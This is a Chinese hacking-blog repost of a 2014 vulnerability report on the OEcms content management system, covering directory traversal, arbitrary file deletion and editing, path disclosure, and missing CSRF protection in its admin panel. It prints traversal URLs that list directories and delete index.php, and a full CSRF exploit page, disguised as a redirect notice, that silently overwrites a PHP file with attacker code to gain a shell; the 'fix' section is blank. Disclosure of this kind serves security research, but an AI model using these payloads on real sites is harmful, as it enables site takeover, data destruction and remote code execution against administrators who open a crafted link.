记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

代码审计系列9: OEcms 远程代码执行(CSRF)

2014-10-01 12:55

问题1.

后台-界面模板-模板管理-模板文件 处存在 任意目录遍历、任意文件删除、任意文件修改、绝对路径泄露等漏洞。

问题2.

整个后台都没有对CSRF进行任何防护措施。可以导致攻击者劫持操纵作后台,添加管理账户等危险操作。

漏洞证明:

例:目录遍历

http://localhost/admincp.php?c=templet&dir=\..\..\..\



2.png



例:任意文件修改

3.png



例:任意文件删除

http://localhost/admincp.php?c=templet&a=delfile&id=%5C%5C..%5C%5C..%5C%5C..%5C%5C%2Findex.php



远程删掉index.php文件



例:绝对路径泄露

1.png





再证明一个最危险的例子。

通过 问题1+问题2 可以实现对该CMS进行CSRF执行远程代码的攻击,从而GETSHELL。



exp:

<html>

<meta charset = "utf-8">

<title>正在跳转...</title>

</html>

<h1>正在跳转...</h1>

<body>



<iframe id="_iframe" src="about:blank" style='display:none'></iframe>



</body>



<script>



function CSRF()



{

var topWin = window.top.document.getElementById("_iframe").contentWindow;

topWin.document.write(



"<form id='_form' action='http://localhost/admincp.php?c=templet&a=saveedit' method='post'>"



+"<input type='hidden' name='id' value='/../../..//source/plugin/index.php'>"



+"<input type='hidden' name='dir' value='/../../..//source/plugin'>"



+"<input type='hidden' name='content' value='<?php phpinfo(); ?>'>"



+"</form>"



+"<script>document.getElementById('_form').submit();<\/script>"



);



}

CSRF();

window.setTimeout("window.location.href='http://www.baidu.com/'", 5000); //延迟5秒后跳转到指定网页

</script>

</html>





首先构造一个EXP。将构造好的EXP地址留言到目标的CMS

当管理员打开我精心构造的网址之后:



这个文件被修改成:

4.png





我们再来访问

5.png





修复方案:


知识来源: www.wooyun.org/bugs/wooyun-2014-067089

阅读:149426 | 评论:1 | 标签:CSRF cms

想收藏或者和大家分享这篇好文章→复制链接地址

“代码审计系列9: OEcms 远程代码执行(CSRF)”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

ADS

标签云

本页关键词